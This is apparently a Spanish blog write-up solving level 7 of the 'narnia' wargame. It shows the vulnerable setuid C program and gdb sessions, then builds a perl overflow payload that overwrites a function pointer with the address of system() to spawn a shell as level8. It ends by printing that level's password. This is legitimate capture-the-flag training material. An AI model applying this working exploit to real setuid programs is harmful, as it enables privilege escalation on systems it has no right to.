Wargame narnia: Nivel 7
Siguiendo con el wargame narnia vamos a ver el nivel 7 como solucionarlo. En este caso se trata de un buffer overflow, pero solo modificando una variable para que se ejecute la función system() en lugar de puts()
/*
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
extern char **environ;
//extern puts;
int main(int argc, char *argv[]){
int (*fp)(char *)=(int(*)(char *))&puts, i;
char b1[8], b2[8];
if(argc!=3){ printf("%s b1 b2\n", argv[0]); exit(-1); }
/* clear environ */
for(i=0; environ[i] != NULL; i++)
memset(environ[i], '\0', strlen(environ[i]));
/* clear argz */
for(i=3; argv[i] != NULL; i++)
memset(argv[i], '\0', strlen(argv[i]));
strcpy(b1,argv[1]);
strcpy(b2,argv[2]);
if(((unsigned long)fp & 0xff000000) == 0xbf000000)
exit(-1);
seteuid(1008);
fp(b1);
exit(1);
}
Tenemos dos buffers contiguos que nos dan una capacidad máxima de 16 bytes:
char b1[8], b2[8];
Más adelante se usa strcpy por lo que podemos sobrescribir pasados sus límites:
strcpy(b1,argv[1]); strcpy(b2,argv[2]);
Vemos que podríamos sobrescribir la variable fp:
int (*fp)(char *)=(int(*)(char *))&puts, i;
Para luego ejecutar lo que quisiéramos como level8:
seteuid(1008); fp(b1);
Pero no podemos apuntarlo a los argumentos ni al buffer ya que sus direcciones empiezan por 0xbf:
if(((unsigned long)fp & 0xff000000) == 0xbf000000)
exit(-1);
Vemos que carga la glibc:
level7@narnia:~$ ldd /wargame/level7 linux-gate.so.1 => (0xffffe000) libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb7ec8000) /lib/ld-linux.so.2 (0x80000000)
Podríamos substituir la llamada a puts por la de system con LD_PRELOAD con algo como lo siguiente:
level7@narnia:/tmp/meme$ cat putshell.c
#include <stdlib.h>
int puts(char *s)
{
system(s);
}
level7@narnia:/tmp/meme$ gcc -fPIC -shared putshell.so putshell.c
level7@narnia:/tmp/meme$ cat puts.c
#include <stdlib.h>
int main(int argc, char *argv[])
{
puts("/bin/sh");
return 0;
}
level7@narnia:/tmp/meme$ gcc puts.c
level7@narnia:/tmp/meme$ ./a.out
/bin/sh
level7@narnia:/tmp/meme$ LD_PRELOAD="./putshell.so" ./a.out
sh-3.1$ ps -u level7 f
PID TTY STAT TIME COMMAND
3309 ? S 0:00 sshd: level7@pts/2
3310 pts/2 Ss 0:00 \_ -bash
3377 pts/2 S 0:00 \_ ./a.out
3378 pts/2 S 0:00 \_ /bin/sh
3379 pts/2 R+ 0:00 \_ ps -u level7 f
Pero como se usa el bit suid sólo se evalúa el LD_PRELOAD para los paths de confianza y evidentemente no tenemos acceso a ellos.
En su lugar podemos intentar averiguar la dirección de la llamada system() y pasar como parámetro /bin/sh para que lo ejecute. Por ejemplo, mediante gdb podemos hacer lo siguiente:
level7@narnia:/tmp/meme$ gdb -q /wargame/level7 Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". (gdb) break system Function "system" not defined. Make breakpoint pending on future shared library load? (y or [n]) y Breakpoint 1 (system) pending. (gdb) r Starting program: /wargame/level7 Breakpoint 2 at 0xb7ee8990 Pending breakpoint "system" resolved /wargame/level7 b1 b2 Program exited with code 0377. (gdb)
En un inicio no ha podido obtener la dirección de la llamada system() porque aún no se había cargado la glibc, pero al ejecutarlo lo resuelve y nos indica la dirección (0xb7ee8990)
Ponemos un breakpoint en la comparación de la dirección con la máscara:
0x0804862c <main+312>: mov 0xfffffffc(%ebp),%eax 0x0804862f <main+315>: and $0xff000000,%eax 0x08048634 <main+320>: cmp $0xbf000000,%eax 0x08048639 <main+325>: jne 0x8048647
En el gdb usamos la instrucción siguiente al mov para tener en eax el resultado:
level7@narnia:/tmp/meme$ gdb -q /wargame/level7 Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". (gdb) break *0x0804862f Breakpoint 1 at 0x804862f
Ahora el tema esta en saber si el b1 o el b2 el buffer que esta delante de la siguiente linea de C:
char b1[8], b2[8];
Si suponemos que el b1 va delante (posición de memoria más pequeña) ejecutamos lo siguiente y comprobamos el eax:
(gdb) r `perl -e 'print "a"x8; print "b"x8; print "\x90\x89\xee\xb7"x2'` b Starting program: /wargame/level7 `perl -e 'print "a"x8; print "b"x8; print "\x90\x89\xee\xb7"x2'` b Breakpoint 1, 0x0804862f in main () (gdb) info registers eax 0x62626262 1650614882 ecx 0xfffffe46 -442 edx 0xbffffbdc -1073742884 ebx 0xb7fdfff4 -1208090636 esp 0xbffffa00 0xbffffa00 ebp 0xbffffa38 0xbffffa38 esi 0x0 0 edi 0xb8000cc0 -1207956288 eip 0x804862f 0x804862f <main+315> eflags 0x246 [ PF ZF IF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb)
Como vemos que se nos ha llenado de b (0×62) es que es justamente el contrario
(gdb) r x `perl -e 'print "a"x8; print "b"x8; print "\x90\x89\xee\xb7"x2'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /wargame/level7 x `perl -e 'print "a"x8; print "b"x8; print "\x90\x89\xee\xb7"x2'` Breakpoint 1, 0x0804862f in main () (gdb) info registers eax 0xb7ee8990 -1209103984 ecx 0xfffffe5d -419 edx 0xbffffbdc -1073742884 ebx 0xb7fdfff4 -1208090636 esp 0xbffffa00 0xbffffa00 ebp 0xbffffa38 0xbffffa38 esi 0x0 0 edi 0xb8000cc0 -1207956288 eip 0x804862f 0x804862f <main+315> eflags 0x246 [ PF ZF IF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb)
En eax tenemos la dirección buena pero acabamos intentando ejecutar las b y la posición de memoria:
(gdb) n Single stepping until exit from function main, which has no line number information. sh: bbbbbbbb??????: command not found Program exited with code 01.
La memoria entonces tiene un aspecto como el siguiente:
Intentamos entonces introducir /bin/sh a ejecutar, pero deberemos usar el espacio del int i del for:
level7@narnia:/tmp/meme$ perl -e 'print "a"x8; print "/bin/sh"; print "\x90\x89\xee\xb7"x2;' |wc -c 23 level7@narnia:/tmp/meme$ perl -e 'print "a"x8; print "/bin/sh "; print "\x90\x89\xee\xb7"x2;' |wc -c 24
Pero entonces la sh intenta ejecutar la basura que se nos cuela en el string:
level7@narnia:/tmp/meme$ /wargame/level7 x "$(perl -e 'print "a"x8; print "/bin/sh "; print "\x90\x89\xee\xb7"x2;')" /bin/sh: ??????: No such file or directory
Substituimos la parte correspondiente al b1 con la cadena /bin/sh (restamos 1 porque estamos usando echo que añade el intro):
level7@narnia:/tmp/meme$ echo "$(perl -e 'print "a"x8; print "/bin/sh"; print "\x90\x89\xee\xb7";')" | wc -c 20
Por lo que añadimos un espacio después de /bin/sh y rellenamos con el símbolo de comentario (#) para que no se interprete lo que venga a continuación:
level7@narnia:/tmp/meme$ echo "$(perl -e 'print "a"x8; print "/bin/sh "; print "#"x4; print "\x90\x89\xee\xb7";')" | wc -c 25
Ya tenemos preparada la cadena, la cual como contiene un espacio debemos pasar entre comillas:
level7@narnia:/tmp/meme$ /wargame/level7 x "`perl -e 'print "a"x8; print "/bin/sh "; print "#"x4; print "\x90\x89\xee\xb7";'`" sh-3.1$ id uid=1007(level7) gid=1007(level7) euid=1008(level8) groups=1007(level7) sh-3.1$ cat /home/level8/.passwd aiY+ee5a
Ya tenemos la contraseña para el level8.
Un detalle que he encontrado mientras dejaba bonito el artículo a partir de los pastes que voy haciendo mientras pruebo es que mediante el comando print de gdb resulta mucho más limpio obtener la dirección de system():
level7@narnia:/tmp/meme$ gdb -q /wargame/level7
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) break main
Breakpoint 1 at 0x80484fa
(gdb) r
Starting program: /wargame/level7
Breakpoint 1, 0x080484fa in main ()
(gdb) print system
$1 = {<text variable, no debug info>} 0xb7ee8990<system>
(gdb)
Es mucho más limpio que usar el break como he hecho.
El listado de soluciones de otros niveles del wargame de narnia es el siguiente:
Relacionados
Imprimir



Deja un comentario: